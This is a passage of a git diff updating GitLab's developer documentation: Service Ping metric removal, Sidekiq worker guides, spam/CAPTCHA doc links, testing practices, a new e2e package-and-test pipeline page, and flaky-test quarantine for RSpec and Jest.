[`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/) @@ -111,7 +113,10 @@ To remove a metric: [GitLab Data Team project](https://gitlab.com/gitlab-data/analytics/-/issues). Ask for confirmation that the metric is not referred to in any SiSense dashboards and can be safely removed from Service Ping. Use this - [example issue](https://gitlab.com/gitlab-data/analytics/-/issues/7539) for guidance. + [example issue](https://gitlab.com/gitlab-data/analytics/-/issues/15266) for guidance. + +1. Notify the Customer Success Ops team (`@csops-team`), Analytics Engineers (`@gitlab-data/analytics-engineers`), and Product Analysts (`@gitlab-data/product-analysts`) by `@` mentioning those groups in a comment in the issue regarding the deletion of the metric. + Many Service Ping metrics are relied upon for health score and XMAU reporting and unexpected changes to those metrics could break reporting. 1. After you verify the metric can be safely removed, update the attributes of the metric's YAML definition: @@ -139,6 +144,3 @@ To remove a metric: 1. Remove any other records related to the metric: - The feature flag YAML file at [`config/feature_flags/*/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/feature_flags). - The entry in the known events YAML file at [`lib/gitlab/usage_data_counters/known_events/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/usage_data_counters/known_events). - -1. Notify the Customer Success Ops team (`@csops-team`), Analytics Engineers (`@gitlab-data/analytics-engineers`), and Product Analysts (`@gitlab-data/product-analysts`) by `@` mentioning those groups in a comment on the MR. - Many Service Ping metrics are relied upon for health score and XMAU reporting and unexpected changes to those metrics could break reporting. diff --git a/doc/development/service_ping/review_guidelines.md b/doc/development/service_ping/review_guidelines.md index 70f7f3dca54..9813c9e0b12 100644 --- a/doc/development/service_ping/review_guidelines.md +++ b/doc/development/service_ping/review_guidelines.md @@ -68,7 +68,7 @@ are regular backend changes. Read the [stages file](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml). - Check the file location. Consider the time frame, and if the file should be under `ee`. - Check the tiers. -- If a metric was changed or removed: Make sure the MR author notified the Customer Success Ops team (`@csops-team`), Analytics Engineers (`@gitlab-data/analytics-engineers`), and Product Analysts (`@gitlab-data/product-analysts`) by `@` mentioning those groups in a comment on the MR. +- If a metric was changed or removed: Make sure the MR author notified the Customer Success Ops team (`@csops-team`), Analytics Engineers (`@gitlab-data/analytics-engineers`), and Product Analysts (`@gitlab-data/product-analysts`) by `@` mentioning those groups in a comment on the issue for the MR and all of these groups have acknowledged the removal. - Metrics instrumentations - Recommend using metrics instrumentation for new metrics, [if possible](metrics_instrumentation.md#support-for-instrumentation-classes). - Approve the MR, and relabel the MR with `~"product intelligence::approved"`. diff --git a/doc/development/sidekiq/index.md b/doc/development/sidekiq/index.md index f4f98641d39..355f5a3b753 100644 --- a/doc/development/sidekiq/index.md +++ b/doc/development/sidekiq/index.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Sidekiq guides We use [Sidekiq](https://github.com/mperham/sidekiq) as our background -job processor. These guides are for writing jobs that will work well on +job processor. These guides are for writing jobs that works well on GitLab.com and be consistent with our existing worker classes. For information on administering GitLab, see [configuring Sidekiq](../../administration/sidekiq/index.md). @@ -74,7 +74,7 @@ A lower retry count may be applicable if any of the below apply: 1. The worker is not idempotent and running it multiple times could leave the system in an inconsistent state. For example, a worker that posts a system note and then performs an action: if the second step - fails and the worker retries, the system note will be posted again. + fails and the worker retries, the system note is posted again. 1. The worker is a cronjob that runs frequently. For example, if a cron job runs every hour, then we don't need to retry beyond an hour because we don't need two of the same job running at once. @@ -96,6 +96,24 @@ def perform end ``` +## Failure handling + +Failures are typically handled by Sidekiq itself, which takes advantage of the inbuilt retry mechanism mentioned above. You should allow exceptions to be raised so that Sidekiq can reschedule the job. + +If you need to perform an action when a job fails after all of its retry attempts, add it to the `sidekiq_retries_exhausted` method. + +```ruby +sidekiq_retries_exhausted do |msg, ex| + project = Project.find(msg['args'].first) + project.perform_a_rollback # handle the permanent failure +end + +def perform(project_id) + project = Project.find(project_id) + project.some_action # throws an exception +end +``` + ## Sidekiq Queues Previously, each worker had its own queue, which was automatically set based on the @@ -113,8 +131,8 @@ gitlab:sidekiq:all_queues_yml:generate` to regenerate `app/workers/all_queues.yml` or `ee/app/workers/all_queues.yml` so that it can be picked up by [`sidekiq-cluster`](../../administration/sidekiq/extra_sidekiq_processes.md) -in installations that don't use routing rules. To learn more about potential changes, -read [Use routing rules by default and deprecate queue selectors for self-managed](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/596). +in installations that don't use routing rules. For more information about potential changes, +see [epic 596](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/596). Additionally, run `bin/rake gitlab:sidekiq:sidekiq_queues_yml:generate` to regenerate @@ -156,7 +174,7 @@ queues in a namespace (technically: all queues prefixed with the namespace name) when a namespace is provided instead of a simple queue name in the `--queue` (`-q`) option, or in the `:queues:` section in `config/sidekiq_queues.yml`. -Note that adding a worker to an existing namespace should be done with care, as +Adding a worker to an existing namespace should be done with care, as the extra jobs take resources away from jobs from workers that were already there, if the resources available to the Sidekiq process handling the namespace are not adjusted appropriately. @@ -195,9 +213,9 @@ can read the number or type of provided arguments. GitLab stores Sidekiq jobs and their arguments in Redis. To avoid excessive memory usage, we compress the arguments of Sidekiq jobs -if their original size is bigger than 100KB. +if their original size is bigger than 100 KB. -After compression, if their size still exceeds 5MB, it raises an +After compression, if their size still exceeds 5 MB, it raises an [`ExceedLimitError`](https://gitlab.com/gitlab-org/gitlab/-/blob/f3dd89e5e510ea04b43ffdcb58587d8f78a8d77c/lib/gitlab/sidekiq_middleware/size_limiter/exceed_limit_error.rb#L8) error when scheduling the job. @@ -227,6 +245,6 @@ tests should be placed in `spec/workers`. ## Interacting with Sidekiq Redis and APIs -The application should minimise interaction with of any `Sidekiq.redis` and Sidekiq [APIs](https://github.com/mperham/sidekiq/blob/main/lib/sidekiq/api.rb). Such interactions in generic application logic should be abstracted to a [Sidekiq middleware](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/sidekiq_middleware) for re-use across teams. By decoupling application logic from Sidekiq's datastore, it allows for greater freedom when horizontally scaling the GitLab background processing setup. +The application should minimise interaction with of any `Sidekiq.redis` and Sidekiq [APIs](https://github.com/mperham/sidekiq/blob/main/lib/sidekiq/api.rb). Such interactions in generic application logic should be abstracted to a [Sidekiq middleware](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/sidekiq_middleware) for re-use across teams. By decoupling application logic from Sidekiq datastore, it allows for greater freedom when horizontally scaling the GitLab background processing setup. Some exceptions to this rule would be migration-related logic or administration operations. diff --git a/doc/development/sidekiq/worker_attributes.md b/doc/development/sidekiq/worker_attributes.md index 4fcd8e33d5c..a3bfe5f27cc 100644 --- a/doc/development/sidekiq/worker_attributes.md +++ b/doc/development/sidekiq/worker_attributes.md @@ -37,7 +37,7 @@ end ### Latency sensitive jobs If a large number of background jobs get scheduled at once, queueing of jobs may -occur while jobs wait for a worker node to be become available. This is normal +occur while jobs wait for a worker node to be become available. This is standard and gives the system resilience by allowing it to gracefully handle spikes in traffic. Some jobs, however, are more sensitive to latency than others. @@ -79,7 +79,7 @@ On GitLab.com, we run Sidekiq in several each of which represents a particular type of workload. When changing a queue's urgency, or adding a new queue, we need to take -into account the expected workload on the new shard. Note that, if we're +into account the expected workload on the new shard. If we're changing an existing queue, there is also an effect on the old shard, but that always reduces work. @@ -108,7 +108,7 @@ shard_consumption = shard_rps * shard_duration_avg If we expect an increase of **less than 5%**, then no further action is needed. -Otherwise, please ping `@gitlab-org/scalability` on the merge request and ask +Otherwise, ping `@gitlab-org/scalability` on the merge request and ask for a review. ## Jobs with External Dependencies @@ -121,7 +121,7 @@ However, some jobs are dependent on external services to complete successfully. Some examples include: 1. Jobs which call web-hooks configured by a user. -1. Jobs which deploy an application to a k8s cluster configured by a user. +1. Jobs which deploy an application to a Kubernetes cluster configured by a user. These jobs have "external dependencies". This is important for the operation of the background processing cluster in several ways: @@ -179,8 +179,8 @@ performance. Likewise, if a worker uses large amounts of memory, we can run these on a bespoke low concurrency, high memory fleet. -Note that memory-bound workers create heavy GC workloads, with pauses of -10-50ms. This has an impact on the latency requirements for the +Memory-bound workers create heavy GC workloads, with pauses of +10-50 ms. This has an impact on the latency requirements for the worker. For this reason, `memory` bound, `urgency :high` jobs are not permitted and fail CI. In general, `memory` bound workers are discouraged, and alternative approaches to processing the work should be @@ -219,7 +219,7 @@ We use the following approach to determine whether a worker is CPU-bound: - Divide `cpu_s` by `duration` to get the percentage time spend on-CPU. - If this ratio exceeds 33%, the worker is considered CPU-bound and should be annotated as such. -- Note that these values should not be used over small sample sizes, but +- These values should not be used over small sample sizes, but rather over fairly large aggregates. ## Feature category @@ -254,7 +254,7 @@ When setting this field, consider the following trade-off: - Prefer read replicas to add relief to the primary, but increase the likelihood of stale reads that have to be retried. To maintain the same behavior compared to before this field was introduced, set it to `:always`, so -database operations will only target the primary. Reasons for having to do so include workers +database operations only target the primary. Reasons for having to do so include workers that mostly or exclusively perform writes, or workers that read their own writes and who might run into data consistency issues should a stale record be read back from a replica. **Try to avoid these scenarios, since `:always` should be considered the exception, not the rule.** @@ -270,10 +270,10 @@ The difference is in what happens when there is still replication lag after the switch over to the primary right away, whereas `delayed` workers fail fast and are retried once. If they still encounter replication lag, they also switch to the primary instead. **If your worker never performs any writes, it is strongly advised to apply one of these consistency settings, -since it will never need to rely on the primary database node.** +since it never needs to rely on the primary database node.** The table below shows the `data_consistency` attribute and its values, ordered by the degree to which -they prefer read replicas and will wait for replicas to catch up: +they prefer read replicas and wait for replicas to catch up: | **Data Consistency** | **Description** | |--------------|-----------------------------| @@ -300,14 +300,14 @@ end The `feature_flag` property allows you to toggle a job's `data_consistency`, which permits you to safely toggle load balancing capabilities for a specific job. -When `feature_flag` is disabled, the job defaults to `:always`, which means that the job will always use the primary database. +When `feature_flag` is disabled, the job defaults to `:always`, which means that the job always uses the primary database. The `feature_flag` property does not allow the use of [feature gates based on actors](../feature_flags/index.md). This means that the feature flag cannot be toggled only for particular projects, groups, or users, but instead, you can safely use [percentage of time rollout](../feature_flags/index.md). -Note that since we check the feature flag on both Sidekiq client and server, rolling out a 10% of the time, -will likely results in 1% (`0.1` `[from client]*0.1` `[from server]`) of effective jobs using replicas. +Since we check the feature flag on both Sidekiq client and server, rolling out a 10% of the time, +likely results in 1% (`0.1` `[from client]*0.1` `[from server]`) of effective jobs using replicas. Example: diff --git a/doc/development/spam_protection_and_captcha/exploratory_testing.md b/doc/development/spam_protection_and_captcha/exploratory_testing.md index fe5c1c3db56..b2d780b1563 100644 --- a/doc/development/spam_protection_and_captcha/exploratory_testing.md +++ b/doc/development/spam_protection_and_captcha/exploratory_testing.md @@ -353,8 +353,8 @@ GraphQL response: } ``` -### Scenario: `allow_possible_spam` feature flag enabled +### Scenario: `allow_possible_spam` application setting enabled -With the `allow_possible_spam` feature flag enabled, the API returns a 200 response. Any +With the `allow_possible_spam` application setting enabled, the API returns a 200 response. Any valid request is successful and no CAPTCHA is presented, even if the request is considered spam. diff --git a/doc/development/spam_protection_and_captcha/index.md b/doc/development/spam_protection_and_captcha/index.md index 254c3401f81..8d73c12e30a 100644 --- a/doc/development/spam_protection_and_captcha/index.md +++ b/doc/development/spam_protection_and_captcha/index.md @@ -18,7 +18,7 @@ To add this support, you must implement the following areas as applicable: for a feature which does not yet have support. 1. [REST API](rest_api.md): The changes needed to add spam or CAPTCHA support to Grape REST API endpoints. Refer to the related - [REST API documentation](../../api/index.md#resolve-requests-detected-as-spam). + [REST API documentation](../../api/rest/index.md#resolve-requests-detected-as-spam). 1. [GraphQL API](graphql_api.md): The changes needed to add spam or CAPTCHA support to GraphQL mutations. Refer to the related [GraphQL API documentation](../../api/graphql/index.md#resolve-mutations-detected-as-spam). @@ -48,6 +48,6 @@ The possible values include: ## Related topics - [Spam and CAPTCHA support in the GraphQL API](../../api/graphql/index.md#resolve-mutations-detected-as-spam) -- [Spam and CAPTCHA support in the REST API](../../api/index.md#resolve-requests-detected-as-spam) +- [Spam and CAPTCHA support in the REST API](../../api/rest/index.md#resolve-requests-detected-as-spam) - [reCAPTCHA Spam and Anti-bot Protection](../../integration/recaptcha.md) - [Akismet and Spam Logs](../../integration/akismet.md) diff --git a/doc/development/spam_protection_and_captcha/rest_api.md b/doc/development/spam_protection_and_captcha/rest_api.md index 7d749944163..d7012ffb418 100644 --- a/doc/development/spam_protection_and_captcha/rest_api.md +++ b/doc/development/spam_protection_and_captcha/rest_api.md @@ -32,7 +32,7 @@ The main steps are: - Raise a Grape `#error!` exception with a descriptive spam-specific error message. - Include the relevant information added as error fields to the response. For more details on these fields, refer to the section in the REST API documentation on - [Resolve requests detected as spam](../../api/index.md#resolve-requests-detected-as-spam). + [Resolve requests detected as spam](../../api/rest/index.md#resolve-requests-detected-as-spam). NOTE: If you use the standard ApolloLink or Axios interceptor CAPTCHA support described diff --git a/doc/development/stage_group_observability/dashboards/stage_group_dashboard.md b/doc/development/stage_group_observability/dashboards/stage_group_dashboard.md index abc46c52407..7c596e544b5 100644 --- a/doc/development/stage_group_observability/dashboards/stage_group_dashboard.md +++ b/doc/development/stage_group_observability/dashboards/stage_group_dashboard.md @@ -168,7 +168,7 @@ stageGroupDashboards.dashboard('source_code') If you want to see the workflow in action, we've recorded a pairing session on customizing a dashboard, available on [GitLab Unfiltered](https://youtu.be/shEd_eiUjdI). -For deeper customization and more complicated metrics, visit the +For deeper customization and more complicated metrics, see the [Grafonnet lib](https://github.com/grafana/grafonnet-lib) project and the [GitLab Prometheus Metrics](../../../administration/monitoring/prometheus/gitlab_metrics.md#gitlab-prometheus-metrics) documentation. diff --git a/doc/development/stage_group_observability/index.md b/doc/development/stage_group_observability/index.md index 08f751c508e..b275b0bfec2 100644 --- a/doc/development/stage_group_observability/index.md +++ b/doc/development/stage_group_observability/index.md @@ -35,7 +35,7 @@ stage group is comparable to the [monthly availability](https://about.gitlab.com/handbook/engineering/infrastructure/performance-indicators/#gitlabcom-availability) we calculate for GitLab.com, except it's scoped to the features of a group. -To learn more about how we use error budgets, see the +For more information about how we use error budgets, see the [Engineering Error Budgets](https://about.gitlab.com/handbook/engineering/error-budgets/) handbook page. By default, the first row of panels on both dashboards shows the diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index e27d4911158..54d3f368bbd 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -358,6 +358,19 @@ a place to start. The most expensive examples here are in shared examples; any reductions generally have a larger impact as they are called in multiple places. +#### Top slow tests + +We collect information about tests duration in [`rspec_profiling_stats`](https://gitlab.com/gitlab-org/rspec_profiling_stats) project. The data is showed using GitLab Pages in this +[UI](https://gitlab-org.gitlab.io/rspec_profiling_stats/) + +With [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/375983) we defined thresholds for tests duration that can act a guide. + +For tests that are not meeting the thresholds it is recommended to create issues and improve the tests duration. + +| Date | Feature tests | Controllers and Requests tests | Other | +| --- | --- | --- | --- | +| 2023-02-15 | 67.42 seconds | 44.66 seconds | 76.86 seconds | + #### Avoid repeating expensive actions While isolated examples are very clear, and help serve the purpose of specs as @@ -415,7 +428,7 @@ results are available, and not just the first failure. - Don't assert against the absolute value of a sequence-generated attribute (see [Gotchas](../gotchas.md#do-not-assert-against-the-absolute-value-of-a-sequence-generated-attribute)). - Avoid using `expect_any_instance_of` or `allow_any_instance_of` (see - [Gotchas](../gotchas.md#do-not-assert-against-the-absolute-value-of-a-sequence-generated-attribute)). + [Gotchas](../gotchas.md#avoid-using-expect_any_instance_of-or-allow_any_instance_of-in-rspec)). - Don't supply the `:each` argument to hooks because it's the default. - On `before` and `after` hooks, prefer it scoped to `:context` over `:all` - When using `evaluate_script("$('.js-foo').testSomething()")` (or `execute_script`) which acts on a given element, @@ -432,6 +445,12 @@ results are available, and not just the first failure. You must [set feature category metadata for each RSpec example](../feature_categorization/index.md#rspec-examples). +### Tests depending on EE license + +You can use `if: Gitlab.ee?` or `unless: Gitlab.ee?` on context/spec blocks to execute tests depending on whether running with `FOSS_ONLY=1`. + +Example: [SchemaValidator reads a different path depending on the license](https://gitlab.com/gitlab-org/gitlab/-/blob/7cdcf9819cfa02c701d6fa9f18c1e7a8972884ed/spec/lib/gitlab/ci/parsers/security/validators/schema_validator_spec.rb#L571) + ### Coverage [`simplecov`](https://github.com/colszowka/simplecov) is used to generate code test coverage reports. diff --git a/doc/development/testing_guide/contract/consumer_tests.md b/doc/development/testing_guide/contract/consumer_tests.md index 39cc34d6153..60ce71db79d 100644 --- a/doc/development/testing_guide/contract/consumer_tests.md +++ b/doc/development/testing_guide/contract/consumer_tests.md @@ -17,7 +17,7 @@ Then, populate it with the following function and parameters: - [`PactOptions`](#the-pactoptions-parameter) - [`PactFn`](#the-pactfn-parameter) -To learn more about how the contract test directory is structured, see the contract testing [test suite folder structure](index.md#test-suite-folder-structure). +For more information about how the contract test directory is structured, see [Test suite folder structure](index.md#test-suite-folder-structure). ### The `pactWith` function @@ -47,7 +47,7 @@ pactWith( ); ``` -To learn more about how to name the consumers and providers, see contract testing [naming conventions](index.md#naming-conventions). +For more information about how to name consumers and providers, see [Naming conventions](index.md#naming-conventions). ### The `PactFn` parameter diff --git a/doc/development/testing_guide/contract/provider_tests.md b/doc/development/testing_guide/contract/provider_tests.md index 3ce9f91a307..cb3aeae529d 100644 --- a/doc/development/testing_guide/contract/provider_tests.md +++ b/doc/development/testing_guide/contract/provider_tests.md @@ -12,7 +12,7 @@ This tutorial guides you through writing a provider test from scratch. It is a c Provider tests are quite simple. The goal is to set up the test data and then link that with the corresponding contract. Start by creating a file called `get_discussions_helper.rb` under `spec/contracts/provider/pact_helpers/project/merge_request`. Note that the files are called `helpers` to match how they are called by Pact in the Rake tasks, which are set up at the end of this tutorial. -To learn more about how the contract test directory is structured, see the contract testing [test suite folder structure](index.md#test-suite-folder-structure). +For more information about how the contract test directory is structured, see [Test suite folder structure](index.md#test-suite-folder-structure). ### The `service_provider` block @@ -48,7 +48,7 @@ module Provider end ``` -To learn more about how to name the consumers and providers, see contract testing [naming conventions](index.md#naming-conventions). +For more information about how to name consumers and providers, see [Naming conventions](index.md#naming-conventions). ## Configure the test app diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index 8369dcb0740..77ceb9fa546 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -97,6 +97,9 @@ This problem was discovered in <https://gitlab.com/gitlab-org/gitlab-qa/-/issues work-around was suggested in <https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4717>. A feature proposal to segregate access control regarding running pipelines from ability to push/merge was also created at <https://gitlab.com/gitlab-org/gitlab/-/issues/24585>. +For more technical details on CI/CD setup and documentation on adding new test jobs to `package-and-test` pipeline, see +[`package_and_test` setup documentation](package_and_test_pipeline.md). + #### With merged results pipelines In a merged results pipeline, the pipeline runs on a new ref that contains the merge result of the source and target branch. @@ -256,8 +259,7 @@ Learn how to perform [tests that require special setup or consideration to run o ## How do you write tests? -In order to write new tests, you first need to learn more about GitLab QA -architecture. See the [documentation about it](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/architecture.md). +Before you write new tests, review the [GitLab QA architecture](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/architecture.md). After you've decided where to put [test environment orchestration scenarios](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/lib/gitlab/qa/scenario) and [instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features), take a look at the [GitLab QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/README.md), diff --git a/doc/development/testing_guide/end_to_end/package_and_test_pipeline.md b/doc/development/testing_guide/end_to_end/package_and_test_pipeline.md new file mode 100644 index 00000000000..b0257e7b02c --- /dev/null +++ b/doc/development/testing_guide/end_to_end/package_and_test_pipeline.md @@ -0,0 +1,134 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# e2e:package-and-test + +The `e2e:package-and-test` child pipeline is the main executor of E2E testing for the GitLab platform. The pipeline definition has several dynamic +components to reduce the number of tests being executed in merge request pipelines. + +## Setup + +Pipeline setup consists of: + +- The `e2e-test-pipeline-generate` job in the `prepare` stage of the main GitLab pipeline. +- The `e2e:package-and-test` job in the `qa` stage, which triggers the child pipeline that is responsible for building the `omnibus` package and + running E2E tests. + +### e2e-test-pipeline-generate + +This job consists of two components that implement selective test execution: + +- The [`detect_changes`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/qa/tasks/ci.rake) Rake task determines which e2e specs should be executed + in a particular merge request pipeline. This task analyzes changes in a particular merge request and determines which specs must be executed. + Based on that, a `dry-run` of every [scenario](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/qa/scenario/test) executes and determines if a + scenario contains any executable tests. Selective test execution uses [these criteria](index.md#selective-test-execution) to determine which specific + tests to execute. +- [`generate-e2e-pipeline`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/generate-e2e-pipeline) is executed, which generates a child + pipeline YAML definition file with appropriate environment variables. + +### e2e:package-and-test + +E2E test execution pipeline consists of several stages which all support execution of E2E tests. + +#### .pre + +This stage is responsible for the following tasks: + +- Fetching `knapsack` reports that support [parallel test execution](index.md#run-tests-in-parallel). +- Triggering downstream pipeline which builds the [`omnibus-gitlab`](https://gitlab.com/gitlab-org/omnibus-gitlab) Docker image. + +#### test + +This stage runs e2e tests against different types of GitLab configurations. The number of jobs executed is determined dynamically by +[`e2e-test-pipeline-generate`](package_and_test_pipeline.md#e2e-test-pipeline-generate) job. + +#### report + +This stage is responsible for [allure test report](index.md#allure-report) generation. + +## Adding new jobs + +Selective test execution depends on a set of rules present in every job definition. A typical job contains the following attributes: + +```yaml +variables: + QA_SCENARIO: Test::Integration::MyNewJob +rules: + - !reference [.rules:test:qa, rules] + - if: $QA_SUITES =~ /Test::Integration::MyNewJob/ + - !reference [.rules:test:manual, rules] +``` + +In this example: + +- `QA_SCENARIO: Test::Integration::MyNewJob`: name of the scenario class that is passed to the + [`gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md) executor. +- `!reference [.rules:test:qa, rules]`: main rule definition that is matched for pipelines that should execute all tests. For example, when changes to + `qa` framework are present. +- `if: $QA_SUITES =~ /Test::Integration::MyNewJob/`: main rule responsible for selective test execution. `QA_SUITE` is the name of the scenario + abstraction located in [`qa framework`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/qa/scenario/test). + + `QA_SUITE` is not the same as `QA_SCENARIO`, which is passed to the `gitlab-qa` executor. For consistency, it usually has the same name. `QA_SUITE` + abstraction class usually contains information on what tags to run and optionally some additional setup steps. +- `!reference [.rules:test:manual, rules]`: final rule that is always matched and sets the job to `manual` so it can still be executed on demand, + even if not set to execute by selective test execution. + +Considering example above, perform the following steps to create a new job: + +1. Create new scenario type `my_new_job.rb` in the [`integration`](https://gitlab.com/gitlab-org/gitlab-qa/-/tree/master/lib/gitlab/qa/scenario/test/integration) directory + of the [`gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa) project and release new version so it's generally available. +1. Create new scenario `my_new_job.rb` in [`integration`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/qa/scenario/test/integration) directory of the + [`qa`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa) framework. In the most simple case, this scenario would define RSpec tags that should be executed: + + ```ruby + module QA + module Scenario + module Test + module Integration + class MyNewJob < Test::Instance::All + tags :some_special_tag + end + end + end + end + end + ``` + +1. Add new job definition in the [`main.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/package-and-test/main.gitlab-ci.yml) pipeline definition: + + ```yaml + ee:my-new-job: + extends: .qa + variables: + QA_SCENARIO: Test::Integration::MyNewJob + rules: + - !reference [.rules:test:qa, rules] + - if: $QA_SUITES =~ /Test::Integration::MyNewJob/ + - !reference [.rules:test:manual, rules] + ``` + +### Parallel jobs + +For selective execution to work correctly with job types that require running multiple parallel jobs, +a job definition typically must be split into parallel and selective variants. Splitting is necessary so that when selective execution +executes only a single spec, multiple unnecessary jobs are not spawned. For example: + +```yaml +ee:my-new-job-selective: + extends: .qa + variables: + QA_SCENARIO: Test::Integration::MyNewJob + rules: + - !reference [.rules:test:qa-selective, rules] + - if: $QA_SUITES =~ /Test::Integration::MyNewJob/ +ee:my-new-job: + extends: + - .parallel + - ee:my-new-job-selective + rules: + - !reference [.rules:test:qa-parallel, rules] + - if: $QA_SUITES =~ /Test::Integration::MyNewJob/ +``` diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md index 37d354bf60c..f3e072ffa21 100644 --- a/doc/development/testing_guide/end_to_end/resources.md +++ b/doc/development/testing_guide/end_to_end/resources.md @@ -49,7 +49,7 @@ create the resource via the public GitLab API: - `#api_post_path`: The `POST` path to create a new resource. - `#api_post_body`: The `POST` body (as a Ruby hash) to create a new resource. -> Be aware that many API resources are [paginated](../../../api/index.md#pagination). +> Be aware that many API resources are [paginated](../../../api/rest/index.md#pagination). > If you don't find the results you expect, check if there is more that one page of results. Let's take the `Shirt` resource class, and add these three API methods: diff --git a/doc/development/testing_guide/end_to_end/style_guide.md b/doc/development/testing_guide/end_to_end/style_guide.md index 419942d6b8f..32d8bf339ed 100644 --- a/doc/development/testing_guide/end_to_end/style_guide.md +++ b/doc/development/testing_guide/end_to_end/style_guide.md @@ -8,6 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w This document describes the conventions used at GitLab for writing End-to-end (E2E) tests using the GitLab QA project. +Please note that this guide is an extension of the primary [testing standards and style guidelines](../index.md). If this guide defines a rule that contradicts the primary guide, this guide takes precedence. + ## `click_` versus `go_to_` ### When to use `click_`? diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md index ef5b75d166f..f476815bf32 100644 --- a/doc/development/testing_guide/flaky_tests.md +++ b/doc/development/testing_guide/flaky_tests.md @@ -154,8 +154,11 @@ When a test frequently fails in `master`, create [a ~"failure::flaky-test" issue](https://about.gitlab.com/handbook/engineering/workflow/#broken-master). If the test cannot be fixed in a timely fashion, there is an impact on the -productivity of all the developers, so it should be quarantined by -assigning the `:quarantine` metadata with the issue URL, and add the `~"quarantined test"` label to the issue. +productivity of all the developers, so it should be quarantined. There are two ways to quarantine tests, depending on the test framework being used: RSpec and Jest. + +### RSpec + +For RSpec tests, you can use the `:quarantine` metadata with the issue URL. ```ruby it 'succeeds', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/12345' do @@ -169,6 +172,26 @@ This means it is skipped unless run with `--tag quarantine`: bin/rspec --tag quarantine ``` +### Jest + +For Jest specs, you can use the `.skip` method along with the `eslint-disable-next-line` comment to disable the `jest/no-disabled-tests` ESLint rule and include the issue URL. Here's an example: + +```javascript +// https://gitlab.com/gitlab-org/gitlab/-/issues/56789 +// eslint-disable-next-line jest/no-disabled-tests +it.skip('should throw an error', () => { + expect(response).toThrowError(expected_error) +}); +``` + +This means it is skipped unless the test suit is run with `--runInBand` Jest command line option: + +```shell +jest --runInBand +``` + +For both test frameworks, make sure to add the `~"quarantined test"` label to the issue. + Once a test is in quarantine, there are 3 choices: - Fix the test (that is, get rid of its flakiness). diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md index 5edf18725c0..b074a9e34f3 100644 --- a/doc/development/testing_guide/review_apps.md +++ b/doc/development/testing_guide/review_apps.md @@ -21,18 +21,23 @@ For any of the following scenarios, the `start-review-app-pipeline` job would be - for scheduled pipelines - the MR has the `pipeline:run-review-app` label set -## QA runs on review apps +## E2E test runs on review apps -On every [pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/125315730) in the `qa` stage (which comes after the -`review` stage), the `review-qa-smoke` and `review-qa-reliable` jobs are automatically started. The `review-qa-smoke` runs -the QA smoke suite and the `review-qa-reliable` executes E2E tests identified as [reliable](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/reliable-tests/). +On every pipeline in the `qa` stage (which comes after the `review` stage), the `review-qa-smoke` and `review-qa-blocking` jobs are automatically started. -`review-qa-*` jobs ensure that end-to-end tests for the changes in the merge request pass in a live environment. This shifts the identification of e2e failures from an environment on the path to production to the merge request, to prevent breaking features on GitLab.com or costly GitLab.com deployment blockers. `review-qa-*` failures should be investigated with counterpart SET involvement if needed to help determine the root cause of the error. +`qa` stage consists of following jobs: -You can also manually start the `review-qa-all`: it runs the full QA suite. +- `review-qa-smoke`: small and fast subset of tests to validate core functionality of GitLab. +- `review-qa-blocking`: subset of tests identified as [reliable](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/reliable-tests/). These tests are + considered stable and are not allowed to fail. +- `review-qa-non-blocking`: rest of the e2e tests that can be triggered manually. + +`review-qa-*` jobs ensure that end-to-end tests for the changes in the merge request pass in a live environment. This shifts the identification of e2e failures from an environment +on the path to production to the merge request to prevent breaking features on GitLab.com or costly GitLab.com deployment blockers. If needed, `review-qa-*` failures should be +investigated with an SET (software engineer in test) counterpart to help determine the root cause of the error. After the end-to-end test runs have finished, [Allure reports](https://github.com/allure-framework/allure2) are generated and published by -the `allure-report-qa-smoke`, `allure-report-qa-reliable`, and `allure-report-qa-all` jobs. A comment with links to the reports are added to the merge request. +the `e2e-test-report` job. A comment with links to the reports is added to the merge request. Errors can be found in the `gitlab-review-apps` Sentry project and [filterable by review app 